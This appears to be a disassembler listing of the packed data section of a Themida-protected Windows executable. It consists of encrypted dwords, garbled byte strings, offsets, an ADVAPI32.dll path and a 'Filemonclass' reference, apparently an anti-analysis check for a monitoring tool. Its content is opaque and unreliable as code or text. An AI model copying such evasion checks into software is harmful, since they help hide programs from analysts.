15A0CDE3h, 0B03C611Ch dd 0DC240016h, 56EA8ACCh, 0B8E70043h, 458EF9FFh, 337BB31Ch dd 0BCAF6800h, 0FD19062Bh dd 0CF7D03DBh, 987F022Ch, 4688F8ABh, 2B008754h, 0BEF64396h dd 15676ADh, 0D6C724A1h, 0FF5361C3h, 5FF087B8h, 0D5283E6Bh dd 0F54E9C03h, 0CE00107Bh, 0CC9A53C6h, 0E6CF9A2h, 2215FAB7h dd 14D6AB00h, 836359B9h, 98893E60h, 1B3AC39h, 526A36B1h dd 0D8C8C07Ch, 1B06E02Ah, 0B050DDA3h, 692E0380h, 0C1118A8Fh dd 6683A801h, 0DBE5FD1Eh, 7EEF63F8h, 7D3DF869h, 0BD381994h dd 0E8B1C9FAh, 0E83F57E2h, 310E80DCh, 0FDD3F25Ch, 0B79B1230h dd 58310BC0h, 98C0BF78h, 7381A96h, 69FD4C84h, 0F1E5360Ch dd 5A00B2F1h, 0A6DA6E85h, 2812F8h, 60839E6h, 901D6157h dd 52B1D218h, 0C7B349h, 0C5804F14h, 0D8C17942h, 6AA97D03h dd 0EDF90F71h, 0FBAC9C46h, 860E0061h, 0C6D03925h, 3B00CD0Dh dd 6A7523B6h, 60FE87ECh, 57FB29FAh, 841468ACh, 70987E02h dd 8C856F3Eh, 807D5B59h, 0C7171D13h, 0DBD4802Fh, 0A16C0B5h dd 2EDEAA07h, 0C95A31h, 0CAD70FCBh, 0CC465256h, 200413Bh dd 0ADA7BDF2h, 77008FAEh, 10CE54F5h, 301B756h, 0B15841B5h dd 16C9736Ah, 7B804315h, 0F747880Fh, 0BC91805Eh, 6DCE428h dd 5958CC03h, 5400617Ch, 0C10AA5B9h, 0D52C94h, 1DDC4B7Ah dd 587588F3h, 731E2F03h, 0C0F1A263h, 60E5B73Bh, 8E9DF905h dd 32C01548h, 0BE016EF9h, 0AF660EC6h, 78588BF2h, 0FA0027B0h dd 0EAA87A63h, 8078B1F8h, 0AA7B2196h, 0C7722F00h, 75402DD1h dd 0B7940304h, 3CEA9EC1h, 52F725C0h, 2011DE24h, 47B12286h dd 48130241h, 0A814866Fh, 6B7F1460h, 93180207h, 184F0E44h dd 7C2B5229h, 8C805050h, 5CE53094h, 0A746E0C1h, 84E91C03h dd 0F0556FAEh, 9058528Fh, 4C701E0h, 0B4FB891h, 2AC3C3BDh dd 26E4F9D0h, 0B5A8EC5Fh, 0FD242903h, 0AC91E1A0h, 7A598007h dd 9DEB90F8h, 0D61400AFh, 1DBF852Bh, 5A495972h, 0F3BE0108h dd 0C0D074DEh, 32F7F8h, 483DE3C1h, 2CAFB628h, 0E4876F02h dd 40626D03h, 88ED0BF4h, 88A8E5BEh, 490066CDh, 14F7E081h dd 7616E78h, 8E917076h, 8380D1DCh, 9FF89916h, 72DC36B0h dd 44B09026h, 0DD30528Ch, 47575110h, 3CE03154h, 0C88F9111h dd 761816DDh, 4D8114E6h, 69E024A3h, 44FC0C91h, 2EF42949h dd 75F82C02h, 44ABE26Bh, 0A58207D4h, 7E3CBDAh, 22AD10AEh dd 61268B0h, 444F6DB2h, 3BC8E7F9h, 0F5608E0h, 5CE0A411h dd 1C536C29h, 0BC48AC00h, 0CD2BCF2Ah, 927C72FAh, 621AFF00h dd 60D2C4Eh, 16D1247Fh, 0A7B10440h, 9C7C80CCh, 32F1988Eh dd 0E8C91C2Ch, 64F50AC7h, 2A6C8259h, 0EE1430Eh, 0B2C1C521h dd 14001A69h, 0D44AF07h, 73641E00h, 0CBC798B3h, 2A1B00B0h dd 85D8238h, 3063462h, 8546AE76h, 988900D9h, 25D19D60h dd 0ED0B8B58h, 87E6E5FAh, 8CC32271h, 0D4C3E008h, 0B2065C95h dd 7B008842h, 0FACB3414h, 0F0063237h, 70461E89h, 312F0021h dd 5CBCBD30h, 940044DAh, 732CECA2h, 0F830BDCh, 228847E5h dd 3FE0532Eh, 0AA2B39D4h, 75E0D06h, 1498459h, 350304B2h dd 48E7AEB5h, 0E6589EFCh, 248B0089h, 87E07AB6h, 58D718BAh dd 0A7D93969h, 6B002979h, 0A962C953h, 196C5F2h, 9CEA34B6h dd 24CAE4F4h, 0E5001000h, 9F60CBC9h, 2A9057h, 0D275A328h dd 42CC9BDFh, 2B722100h, 0BC7FB338h, 48177D10h, 39392830h dd 0B194A085h, 2ECC5C51h, 82123D5Ah, 4D4E0059h, 0E87E63EBh dd 6EA60618h, 7CAF36A1h, 0B556051Ah, 919C045h, 20982984h dd 0C800590Ah, 0E6AEF23h, 0E233D6DDh, 0C5C37987h, 5FE4BDB9h dd 22B9C188h, 0D8DA2F76h, 0C509BCA8h, 0A07AD8CCh, 4D1E36F8h dd 6D8F3406h, 680C9081h, 80B10DA4h, 0F8905980h, 678226h dd 6BAAA251h, 892F6012h, 7A3E7D71h, 0B45704FAh, 0E8C17C03h dd 68201E37h, 0DB60F8Ch, 7500B96Fh, 9DC71F4Ah, 6E032900h dd 0C487AF84h, 395CA1F5h, 0A1F16510h, 0BEC5B00h, 0BEDC6766h dd 3F447A6Bh, 0C3309516h, 0D9337C0h, 9006641Fh, 0D5F880E2h dd 8F163EBBh, 0E0A0C8AAh, 1776C0F9h, 0A6FB45FDh, 0D3316A60h dd 44F9ACBh, 0FDFAF5Fh, 67E09807h, 8F88726h, 92B8FB42h dd 0A46294h, 0C369745Ch, 0B4614C8Fh, 8CE3AB0Bh, 8519E018h dd 53725100h, 7E7056F5h, 714B00E1h, 0D70ECB38h, 790878BCh dd 8FEFACF9h, 23E13CF0h, 0C4665A3Fh, 130FFD98h, 617174FCh dd 8E49A4D4h, 0F2CE3040h, 0D5E2004Eh, 0B4C1EA11h, 0A1359E0h dd 98081EB7h, 58158D44h, 804E0h, 21C691D4h, 986059D0h dd 50E657D9h, 0C9510087h, 0BC1DFF1Fh, 0CCA80DE7h, 672C129Fh dd 0A5008316h, 20CB66DFh, 82931DBAh, 3DF980BEh, 326CF073h dd 0CE15E2B8h, 944D8Eh, 0E2346C2h, 47F363h, 0B8527BC7h dd 5AFAF78Dh, 0E8368812h, 0B6BF3820h, 703500AAh, 9FFF10CAh dd 0FB1F3471h, 7EA3E6h, 41AE5CD5h, 0E203C9h, 9B4A4CE0h dd 8287BA8Ch, 0CB1278B2h, 680F389Fh, 0FCB0402Fh, 2C23EBD5h dd 7FCC834h, 433B8BBFh, 14908185h, 6800748Ah, 0D38E40A9h dd 2AB33D3Ch, 1F8C8759h, 0C9B4F726h, 8A8054FAh, 0DED7526Dh dd 1797BB12h, 1E84889h, 0A2FC006Eh, 98B46C26h, 911729F7h dd 5200A1ACh, 0C59FFD2Dh, 0EF55F6BDh, 0F61E031h, 4D9DA88Eh dd 410E5C9h, 2E125CEDh, 190093D9h, 7AACFFDBh, 45171D0Ah dd 5DC6006Fh, 36767866h, 8352E502h, 0A040B121h, 1FEF45B8h dd 867B1D6Bh, 5A1167Dh, 805B4970h, 6883CAD1h, 5310BF09h dd 4D84494h, 0BC068CC5h, 9EA88C70h, 7D020F12h, 64E81C22h dd 4DEC0030h, 5999737Bh, 1C01E5BAh, 0A3DC48CDh, 0A7F65336h dd 81F9A02Ch, 0AE1DB308h, 58CABCE0h, 0AB017456h, 638272C3h dd 3422BDh, 0DD7D69B0h, 0EDB4401h, 3E118D26h, 0C01CB565h dd 70C7E0AEh, 2A0E848h, 191672CAh, 9C4CA775h, 514C2A00h dd 509548EFh, 1D24B501h, 80458E59h, 35B91FC9h, 0E499ABEBh dd 586707C2h, 0D566877Fh, 53C803F1h, 899A5007h, 0BCB8F620h dd 111360ABh, 4286956Ch, 306E8530h, 0B20D239Fh, 0B9AF00E0h dd 70A8DC81h, 7740EECh, 0D556388h, 8E519B1h, 62C2E449h dd 169E43Ch, 0CEFCA204h, 0D429FD87h, 1F7D7600h, 294F621Ch dd 69730E01h, 0B44B5E78h, 7ED77885h, 0C8284EEFh, 28491F00h dd 0CB304ABCh, 0DFB2880Fh, 42B898A0h, 5CE522F0h, 6E006415h dd 2B5AEA01h, 13160C3Fh, 0A41DB62Fh, 46B1FFC6h, 95C53EC1h dd 6FD3EA00h, 1F12A4D7h, 8EB89100h, 52864817h, 874E162Bh dd 1A482C0Ah, 220279F0h, 6503C440h, 8C37603Fh, 0C5872505h dd 82B74C98h, 0D9C99200h, 0D7C74D5Eh, 9D3D58C1h, 95FC4C55h dd 939F67Fh, 0A9C3F7A5h, 9801FE0Bh, 80E1E874h, 63A4EC71h dd 7D3AD19h, 0A627F0Ch, 28561058h, 30C24009h, 6459A376h dd 0DDD300ECh, 1542D60Bh, 49C026BDh, 6F1354CBh, 0B2853556h dd 0DC700470h, 39B0502Ah, 0B2C4CBFh, 22B26Fh, 16172B3Ch dd 20694BE3h, 80EBB45Ch, 7FD84E00h, 908375D3h, 211402FAh dd 5E65FB8Bh, 2DB1B449h, 4C740FECh, 0BB059D40h, 0F500C199h dd 0C48C64ECh, 18151C50h, 60FDBA1Dh, 0A49C8055h, 56E816BDh dd 66CBDA1Bh, 0AE6EE0E8h, 0C7872430h, 1754060h, 0F506C10Dh dd 5EE54608h, 0BFEE0319h, 2D11CE78h, 0DF5868F8h, 0B09B0301h dd 90B87B4h, 56742981h, 80AE2C8Fh, 2EF59560h, 8807E508h dd 50004593h, 8424046Ch, 98617CA1h, 0A03102CCh, 0EBDC1B3h dd 3EEDA0A0h, 3A009B39h dd 0C036C598h, 7D708Ah, 37EE910Ch, 0BB2E545Eh, 0BD16C900h dd 0B524A111h, 89E0CA5h, 767106ACh, 9FBC6F4Eh, 7456D30Eh dd 0DF209A6Fh, 150D2A18h, 3286203h, 127E893h, 0A4E27A79h dd 30A64F5Bh, 0F91C14A0h, 81C90BE4h, 0EAB4033Eh, 0C068A205h dd 2C750D4h, 0F26B3A8h, 0F44079BFh, 844E6994h, 33E75006h dd 0CE8F0359h, 3B4F7E15h, 1EEBE8C0h, 482E0890h, 0D0127BEh dd 0F7B5430h, 8EB73189h, 4C5CF048h, 2F451800h, 17010958h dd 89AD3B36h, 8846B592h, 71006764h, 0C4914882h, 52CFEBh dd 78ED61D1h, 0AC95BF59h, 91F044h, 4FF82DD9h, 1872E16Fh dd 21B91000h, 6CDEB01Ch, 0EA0F2EFEh, 0AD6C4F0Ch, 0E8226DD0h dd 8CD40038h, 79C04712h, 8B13626Fh, 0D301BB7Dh, 0FEBE2E0Dh dd 0F383E03Ch, 0DBF8C2BFh, 45EA9110h, 48FCD1E8h, 0ECE0C40Bh dd 9050891Ah, 6C2D30h, 0B92E3C55h, 1C22A347h, 3FC2A500h dd 0F6A7DBB8h, 5C575C49h, 0AC614D32h, 6600C8E4h, 0FC1921F2h dd 506F52A1h, 92B3D308h, 89BF5048h, 664262Ch, 0E41D1428h dd 0DC977414h, 0FBC3D804h, 0A3CC8846h, 0ECF34503h, 0BF2C516Bh dd 96868E65h, 91550302h, 5F5CE01Ch, 0B1AD8C00h, 6A372A08h dd 0B7B502A0h, 0E8066966h, 4600A864h, 0DDA7DA8h, 90EA57Fh dd 0A0F2EB04h, 6F0090E4h, 58C2F989h, 0CAB96597h, 608CD298h dd 0A5F5ED35h, 52005AECh, 8778B973h, 28A1EC0h, 0A417D6E6h dd 0E86129ADh, 41B01209h, 0E880164Eh, 6BDFEBD0h, 8F0281C0h dd 0DBC43633h, 4E90E027h, 0E2F901B0h, 31720FD3h, 4422BEh dd 6AED2A7Ah, 14F8B1Fh, 0ABD7913h, 3C65DA5Ch, 0A65380A0h dd 8045B4h, 0F08F766Ah, 0EBEEFE20h, 94040300h, 0FD08CE4Bh dd 1C9803D6h, 84467F1Bh, 2205D974h, 1E8DE69Bh, 0E20218A3h dd 6105A9FEh, 6A668560h, 0B67BB804h, 448C9F49h, 0EBAA0E58h dd 21E9937h, 538ECEEFh, 7B005C44h, 446B9078h, 215C7A9h dd 0C56AEF59h, 94C0EA68h, 292C5AC0h, 8C601064h, 0BEE6B1h dd 0FC1826CCh, 0BD6483E9h, 0B7EAFD02h, 5A8EBB7Eh, 0CD7B00BCh dd 0B44F816h, 680060ECh, 1546C0CCh, 1C18B657h, 534E0E6h dd 0B084B917h, 0B8A0DE38h, 9B26BE2Dh, 6E80D070h, 7C368E51h dd 9A7F0740h, 80DB5D42h, 39DF78BCh, 0BE073212h, 5480426h dd 987B0CBh, 0AA9088E2h, 0BE66D896h, 62889C9Ch, 7C48EA6Ch dd 8B32BB61h, 794988B1h, 647701E4h, 0D0A71EEEh, 0A00440Eh dd 185E4ACAh, 0C4596A1h, 734EC28h, 3313D560h, 8C90E64Ch dd 5D0670h, 27DE530Fh, 78C6F52Ah, 0D8D0700h, 348FD560h dd 99E8E21Bh, 0CA16F0h, 2FA9E355h, 5601F0F5h, 831FE580h dd 0DCDDD7BEh, 52D1DACCh, 0FFFF01CCh, 60FBh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_58248B: ; CODE XREF: start:loc_515265j ; DATA XREF: start:loc_515086o jmp loc_585A20 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 3 dup(0) dd offset a2vsr3vsr ; "2vsR3vsR" dd 4 dup(0) dd 7C85A034h, 0A280105h, 7CC8EBB7h, 5 dup(0) dd 102E9FACh, 7 dup(0) dd 0B61C1Ch, 0 dd 0FD1F9FD0h, 0 dd offset unk_513000 dd 2 dup(0) aInef db 'INe',0 align 4 dd offset dword_57F994+68Fh dd 0 aFir db 'λ|',0 align 4 dd 678h, 94h, 2 dup(0) dword_582534 dd 12E8h, 0 ; Themida_:005848A8o ... dd 0BB3867h, 10h dup(0) dd 2490h, 4 dup(0) dd offset dword_584E70 dd 0 dd 25C6F10h, 4 dup(0) dd offset byte_5DAFF5 dd 0F547EB7Ch, 6 dup(0) dd 836F146Ch, 0Dh dup(0) dd 23F6A4EEh, 0 dd 7FDFFB95h, 2 dup(0) dd offset dword_5F3698 dd 0 dd offset byte_5C139B dd 7C800000h, 0 dd offset word_5BFAD6 dd 9 dup(0) dd 0C10000h, 0Ah dup(0) aGxW db 'xέw',0 align 4 dd 3 dup(0) dd offset byte_60C639 dd 7 dup(0) dd 32597F5Dh, 0 aE_0 db 'Θe',9,0 align 10h dd offset byte_5B4B69 dd 2 dup(0) dd offset byte_5D35A7 dd 0Ah dup(0) dd 0B41CF7h, 2 dup(0) dd 0FFA7B9FCh, 0 dd 71681151h, 0 dd 0C8h, 6 dup(0) dd 0FB9B3820h, 7 dup(0) dd 88h, 1Bh dup(0) dd 0B14681h, 0 dd 0BB3867h, 9 dup(0) dd offset dword_5C09BC dd 4 dup(0) dd 7C90EB94h, 1, 6 dup(0) dd offset byte_5C4753 dd 6 dup(0) dd 0FBD96FA6h, 9 dup(0) dd 73ED49FFh, 0 dd 0BB3867h, 4B69h, 0 dd 3950395h, 5 dup(0) dd 2Dh, 2 dup(0) aFir_0 db 'λ|',0 align 10h aA_0: unicode 0, < >,0 align 8 dd 12FE80h, 3 dup(0) dd 0B48B32h, 0 aFir_1 db 'λ|',0 align 4 aXir db 'λ|',0 align 10h dd 2 dup(0) dd offset dword_582534+4 dd 90h, 15h dup(0) dd 7C90EE18h, 0 dd offset dword_57F994+68Fh dd 7 dup(0) aFir_2 db 'λ|',0 align 10h dd 836F146Ch, 232FFB0h, 582538h, 0 dd offset dword_5C0000 dd 7 dup(0) dd offset byte_5C2407 dd offset byte_5BA363 dd 725CFBFEh, 5 dup(0) dd 710BCFFDh, 3 dup(0) dd 0FF9E6B63h, 0 dd offset byte_5C0BC3 align 10h a6666 db '6666',0 align 4 dd 0Eh dup(0) dd 0B1180Fh, 4 dup(0) dd 1D65732Dh, 6 dup(0) aJG db '»|',0 align 4 dd 3 dup(0) dd 0B1180Fh, 0Eh dup(0) dd 0A0h, 7C90EB94h, 3D94h, 2 dup(0) dd 12FFC4h, 0E8h, 2 dup(0) dd offset dword_583210 dd 9 dup(0) dd 7F1ACA3Dh, 2 dup(0) dd 0DF55DD8h, 4 dup(0) aEcUl db 'e',0Bh,'l',0 align 4 dd 0A9C530DFh, 52Ah, 4 dup(0) dd 0FFC00000h, 3 dup(0) dd offset dword_5DCBE8 dd 6 dup(0) dd 17944h, 0FFA30FF8h, 0F87FF48Bh, 0 dd 370FE953h, 2 dup(0) dd 12FF22h, 7 dup(0) dd 148E9h, 8 dup(0) dd 0FFFFFF05h, 17h dup(0) dd 7EBBFFFCh, 2 dup(0) dd offset byte_5DB495 dd 0 dd offset byte_5B4B69 dd 3 dup(0) dd 0FFFFh, 0DF568CFh, 2Ah dup(0) dd offset byte_5DEE0F dd 6 dup(0) dd offset byte_612D59 aFkr db 'k|',0 align 4 dd 9 dup(0) dd offset dword_60C7CC dd 0Bh dup(0) aFir_3 db 'λ|',0 align 10h dd 0 dd 0FFA07B82h, 0B11A44h, 0 dd 1AE9h, 74h, 0F1B3BF49h, 2 dup(0) dd offset byte_401000 dd 0 dd offset byte_5B63BD dd 2 dup(0) dd 0FFA4052Ah, 5 dup(0) dd 0B73F0Fh, 0 dd offset dword_5F4958 align 10h dd 71681151h, 12FF54h, 0 aGiaKutv db 'G|ͺβv',0 align 4 dd 3 dup(0) dd offset dword_5C1D50 dd 6 dup(0) dd 2, 13h dup(0) dd 0FBh, 5E4D75h, 2 dup(0) aInef_0 db 'INe',0 align 4 dd 3 dup(0) dd offset aFilemonclass ; "Filemonclass" dd 6 dup(0) aGzag db 'Ag',0 align 10h a333333333333 db '333333333333',0 align 10h dd offset dword_584E70 dd 68h, 0 dd 0B70213h, 26152FA0h, 8 dup(0) dd offset byte_5DDECB dd 3 dup(0) aDF db 'DΪFΒ',0 align 10h dd 0B1FA37h, 0 dd offset byte_5C53C9 dd 2 dup(0) dd 12FFA4h, 0 dd offset byte_5D1EDD dd 3 dup(0) aFir_4 db 'λ|',0 align 4 dd 5 dup(0) dd 84h, 60B097h, 0Ah dup(0) dd 79F002E7h, 3 dup(0) dd 7C80180Eh, 2 dup(0) dd 0CEh, 0FFFFFF20h, 0Ah dup(0) dd 341EF0FBh, 5 dup(0) dd offset word_5B9732 dd 6 dup(0) dd 12FEF0h, 0 dword_583030 dd 627A9B9Bh, 0FFA7DAC8h, 62h dup(0) ; Themida_:00584340o dd 5643h, 9A490501h, 3 dup(0) dd 836E6515h, 0Dh dup(0) dd offset byte_5DEE0F dword_583210 dd 484h, 4CB57A79h, 0 ; Themida_:00583A7Co ... dd 0FFA3DC1Ah, 4 dup(0) dd 0D791D07Fh, 1E6EC5C6h, 0E1DE586h, 2 dup(0) dd 491EF6F6h, 2 dup(0) aC db '',7,'`',0 align 4 dd 5 dup(0) dd 77DD0000h, 5F4B12h, 5 dup(0) dd offset byte_5EB785 dd 5 dup(0) dd 0A4h, 3 dup(0) dd offset byte_5C09F9 align 8 dd 1, 0BE366EB9h, 0 dd 26C0000h, 7CDCDD81h, 0B11842h, 2 dup(0) dd 12FFA4h, 2 dup(0) aPb? db 'PbΥ?',0 align 4 dd offset word_5F59CE dd 2 dup(0) dd 0B3FCADh, 0Ah dup(0) dd 23F6A4EEh, 0 dd 0F874248Ah, 9 dup(0) dd offset byte_5CB1B3 dd 7 dup(0) a0I db 'ί0Ε©',0 align 4 dd offset word_5CAEC2 dd 7 dup(0) dd 7C91056Dh, 0 dd offset dword_5833B4 dd 0 dd 0FFFF7CAFh, 0 dword_5833B4 dd 0 dd 0BB3867h, 7C90EB94h, 5 dup(0) dd offset byte_5FD3D9 dd 0B1180Fh, 6 dup(0) aFir_5 db 'λ|',0 align 4 dd 4 dup(0) dd 7E41A8ADh, 7FB4FFD5h, 0B9h dup(0) dd 0B61C1Ch, 12FFF0h, 3 dup(0) aB_0 db 'ΪΝ|',0 align 4 dd 0Fh dup(0) dd 7C8111DAh, 2 dup(0) dd 370h, 2 dup(0) dd 0E23DFDB1h, 29h dup(0) dd offset word_5C9EE6 dd 2 dup(0) dd 0B18D20h, 0 dd 1F39CF3Fh, 60D18Dh, 3 dup(0) dd 7C814AF2h, 5DA542h, 0 dd 0B0E9h, 0B1AEA1h, 4 dup(0) aNiy db 'ny<',0 align 4 dd 2 dup(0) dd 0FFAE1ED5h, 0 dd 76BC155Dh, 1F9607BDh, 5 dup(0) dd 0B10A25h, 3 dup(0) dd offset byte_5DF501 dd 2 dup(0) dd 0B11A38h, 0 dd 0FFFF997Ch, 0 dd 0FFFE87A8h, 0Ah dup(0) dd offset word_5DA21A dd 3 dup(0) dd offset dword_5C1D50 dd 5 dup(0) dd offset word_5E2176 align 8 aA_1 db 'Σ>|',0 align 10h dd 0 dd 253002Ch, 2 dup(0) dd 73ED3B0Fh, 6 dup(0) dd 0B1A8CFh, 9 dup(0) dd offset dword_5E16C0 dd 0 aM_1 db 'Mάά',0 align 8 dd 0FF44C799h, 0 dd 0A9C530DFh, 76F21510h, 2 dup(0) dd offset dword_57F994+68Fh dd 4 dup(0) dd 4001D0h, 9 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 7E4505FCh, 0 a7uW db '7ξέw',0 align 4 dd 47927FFFh, 7C80B4CFh, 725CFBFEh, 2 dup(0) dd 7Ch, 3 dup(0) dd 1, 4 dup(0) dd offset byte_5EBF85 dd 9 dup(0) aLa db 'ή«|',0 align 10h dd 2 dup(0) dd 400000h, 4 dup(0) dd offset dword_583210 dd 3 dup(0) dd offset aA_2 ; "`aΒ\b" dd 0 dd 836F146Ch, 0Dh dup(0) aRE db 'ΰ,E"',0 align 8 dd 0FFFFFFFFh, 3 dup(0) aA_3 db '°,|%$[',0 aBC db 'ΪΝ|ζ#\',0 dd offset byte_5F4BFF align 10h dd 2644h, 0 dd 3C7BD69h, 7 dup(0) dd offset dword_583030+8 dd 7 dup(0) aCWindowsSystem db 'C:\WINDOWS\system32\ADVAPI32.dll',0 align 4 dd 39h dup(0) dd 3F64h, 5 dup(0) dd offset word_5B970A dd offset word_5DCB06 dd 3 dup(0) dd 0FFFFFFFEh, 1, 5 dup(0) dd offset byte_5F4763 dd 70h, 2 dup(0) dd 0FBh, 144BA8h, 0 dd offset dword_5C8B28 align 10h dd 0FBD96FA6h, 0 dd 0FFFC7773h, 4 dup(0) aFir_6 db 'λ|',0 align 8 dd offset byte_5CCDE5 align 10h dd 0BB3848h, 5BEB6Ch, 3 dup(0) dd 1B2FFB0h, 0 dd 44B9339h, 0Ah dup(0) dd offset byte_586853 dd 4F33790Dh, 0FFA43473h, 7C863F58h, 2 dup(0) dd offset dword_5B5FD0 align 10h dd 76F21290h, 0FFFF9E1Ch, 0 dd 224C6AFCh, 0 dd offset byte_5FF861 dd 0 aFir_7 db 'λ|',0 align 4 dd 7 dup(0) dd 836F146Ch, 0 dd 0FFFF4541h, 2 dup(0) dd 88D76917h, 7C90EB94h, 5 dup(0) aFir_8 db 'λ|',0 align 4 dd 6 dup(0) dd offset byte_5C3957 dd 2 dup(0) dd 0B18E51h, 3 dup(0) dd 75ADF725h, 3 dup(0) dd 11688F6h, 0B1FA03h, 5 dup(0) aFir_9 db 'λ|',0 align 10h dd offset dword_5C1D10 dd 5 dup(0) dd 0FFFFFFFEh, 7Ch, 0 dd 0FFFFEB94h, 5B9497h, 0B1180Fh, 7 dup(0) dd 112000h, 0Ah dup(0) dd 12FE80h, 0 dd offset dword_5B00C0 dd 2 dup(0) aFir_10 db 'λ|',0 align 8 aFir_11 db 'λ|',0 align 10h dd 0 aRr db 'Ψ³',0 align 4 dd 9 dup(0) dd offset byte_5C2BA5 dd 6 dup(0) dd 0FDEBFF2Eh, 4 dup(0) aGB db '£Ύ"b',0 align 10h aFxs db 1Bh,'Fxs',0 align 10h dd 7C90D4F6h, 2 dup(0) dd 4F000h, 0 dd 29h, 3 dup(0) dd 0B137ECh, 5 dup(0) dd 0B71E69h, 582538h, 76B178BFh, 5E8724h, 3 dup(0) dd 1E0A8C0h, 3 dup(0) aSz db '§°',9,0 align 10h dd 0 dd 0B812B624h, 4 dup(0) dd 26E0000h, 4 dup(0) dd offset dword_60D748 dd 2 dup(0) dd offset byte_5C0023 aAna db ' |',0 align 10h dd 115014h, 5 dup(0) dd 7C80003Eh, 0 dd 12FF54h, 6 dup(0) dd 0A28C6098h, 7C801D77h, 2 dup(0) dd offset dword_583210 dd 0 dd 26D0000h, 9 dup(0) dd 0BB3867h, 7 dup(0) dd 127B268h, 0 dd 0FFA399DCh, 2 dup(0) dd 0A9C50000h, 0 dd 7C801A24h, 0 dd 217000h, 5FC39Bh, 0 aFir_12 db 'λ|',0 align 4 db '"""""""">',0 aA_4 db '|',0 align 8 dd 73ED3B0Fh, 0 dd offset aNndcJ ; "Dcκ\aj" dd 5 dup(0) dd 2940000h, 5 dup(0) dd 0FFFFFAD6h, 5F45EDh, 2 dup(0) dd 12FE80h, 0 dd 0DC4B038Dh, 5 dup(0) dd 4, 0 aFir_13 db 'λ|',0 align 10h dd 2 dup(0) dd 111F148h, 9 dup(0) dd 5EC71947h, 4 dup(0) aAmgp db 'M£p',0 align 4 dd 836F146Ch, 0 dd 8Ch, 7C90EB94h, 0B18B28h, 2 dup(0) dd 98h, 0 dd offset word_5B975A align 10h aGaj db '£¦Ν',0 db ' ',0 align 4 dd 3 dup(0) dd 0A60000h, 0 aBUz db '‘,U§',0 align 4 dd 10h dup(0) dd 0FFFF997Ch, 0 dd 7E410000h, 0Bh dup(0) dd 7C801A24h, 80h, 60C1BEh, 0 dd 1, 5 dup(0) dd offset byte_586067 dd 0DC8C0000h, 3 dup(0) dd offset dword_60D748 dd 4 dup(0) dd 0FAB5C3C4h, 5BFAD6h, 0 a0I_0 db 'ί0Ε©',0 align 10h dd 0 dd 0B731E5h, 2 dup(0) dd 0FE8F0BE8h, 0 dd 90h, 2 dup(0) dd offset byte_5C0BC3 dd 0 dd 0E6B3B016h, 4 dup(0) dd offset dword_583030+9 dd 2 dup(0) dd 48E9h, 5E959A79h, 0 aNjsr db 'ΰ',0 align 10h dd 9 dup(0) dd 0FFFF9A58h, 5 dup(0) dd 0FFA7DAC8h, 0 dd 7C801A24h, 0 aMA db '¬,|',0 align 4 dd offset byte_5BEE4F align 10h dd 0B18EE4h, 1FE8h, 3 dup(0) dd 32597F5Dh, 11h dup(0) dd offset dword_5BFAE8 dd 2 dup(0) dd 0FFFF9DB0h, 0Ch dup(0) dd 0A9C530DFh, 0B10E24h, 0 dd 224C6AFCh, 5 dup(0) aBAC db 'B',0Bh,'|ΜC]',0 dd 0 dd 1, 0EAA09E08h, 3 dup(0) dd 1, 0 a_b5qcv db '_5qη\',0 dd offset byte_5BA363 dd 4 dup(0) dd offset byte_5FCE0B dd offset byte_5DD9AB align 10h dd 0B1180Fh, 14h dup(0) dd 0FFFFFFFFh, 0FFA0B261h, 5 dup(0) dd 7C90EB94h, 19h, 4 dup(0) dd 0B42878h, 2 dup(0) aGaj_0 db '£¦Ν',0 align 4 dd 0 dd 60000h, 2 dup(0) dd offset dword_5BEB6C dd 3 dup(0) dd 0FBD96FA6h, 0Ch dup(0) dd 77DD6BF0h, 2 dup(0) dd 0B10000h, 3 dup(0) aFir_14 db 'λ|',0 align 4 dd 2 dup(0) dd 0A9F9FCh, 0 aNia db '¨A~',0 align 4 dd 3 dup(0) dd 0BB3867h, 2 dup(0) dd 7C80180Eh, 7C90EB94h, 2C000h, 2 dup(0) dd 148E9h, 0B5D76813h, 4, 3 dup(0) dd offset byte_5F8CCD dd 2 dup(0) aWB db 'w',0Ah db '|',0 align 4 dd 0Fh dup(0) dd 979h, 0D24h, 0B12918h, 0 dd 12h, 0EB5B05F8h, 9 dup(0) dd 202FFB0h, 7C90EB94h, 0 dd offset byte_5BA363 dd 0 dd 7C900000h, 6 dup(0) dd 836F146Ch, 2 dup(0) dd 0FE9FFF74h, 3 dup(0) dd offset dword_57F994+68Fh dd 94h, 3 dup(0) dd 76F36C5Bh, 0 dd 12FE7Ch, 2 dup(0) dd 12FF54h, 0 dd 1BD0Ah, 2 dup(0) dd 789Bh, 0 aGaj_1 db '£¦Ν',0 align 4 dd 2 dup(0) dd 7CEF1B06h, 0 dd 4, 2 dup(0) dd 32h, 0 dd 78h, 0 aW db 1Bh,'Δίw',0 align 10h aA_5: unicode 0, <a>,0 dd 2 dup(0) dd offset word_5FFFA6 dd 0 dd offset byte_5EB785 dd offset word_5BFAD6 dd 3 dup(0) dd offset byte_612D59 dd 2 dup(0) dd 836F146Ch, 77DDEDE5h, 5F5974h, 4 dup(0) aDFXV db 'DΪFΒΎx±v',0 align 10h dd 44118644h, 3 dup(0) dd 5C233A1Dh, 5C3B1Ch, 5 dup(0) dd offset byte_5F4CB3 dd 2 dup(0) dd offset dword_5864EC align 10h dd 12FE80h, 8DC5h, 5 dup(0) aFir_15 db 'λ|',0 align 4 dd 2 dup(0) dd 0B18E51h, 3 dup(0) dd 25C6E06h, 2 dup(0) dd offset word_607F42 dd offset aRlLbIejSNSNebo ; "RΤ`B\b ¦Ήι\a΅-Ίι\a ‘[" dd 0B1180Fh, 2 dup(0) dd 0BB3867h, 2 dup(0) dd offset dword_582534+4 align 10h db '$$$$',0 align 4 dd 9 dup(0) dd 195ADE90h, 5DDE35h, 3 dup(0) dd 73EDEFFCh, 8A8h, 7C900000h, 5850FCh, 0B1180Fh, 4 dup(0) dd offset aJGsk+3 dd 0 dd 0B87000C0h, 0Dh dup(0) dd 0B18B28h, 4 dup(0) dd 0B22493h, 3 dup(0) dd 0DE8h, 6 dup(0) dd 12FFA4h, 0 dd 2E5Ch, 13h dup(0) dd 12FFA4h, 77DDEBE7h, 52F5FEA7h, 6 dup(0) dd offset byte_612D59 align 8 aGr db '=g|',0 align 10h dd 4 dup(0) dd 1, 63DB14C8h, 0 dd 393F6750h, 1, 7C812A09h, 3 dup(0) dd 0BB3867h, 0FEEAE4D7h, 2 dup(0) dd 0A9C50000h, 3 dup(0) 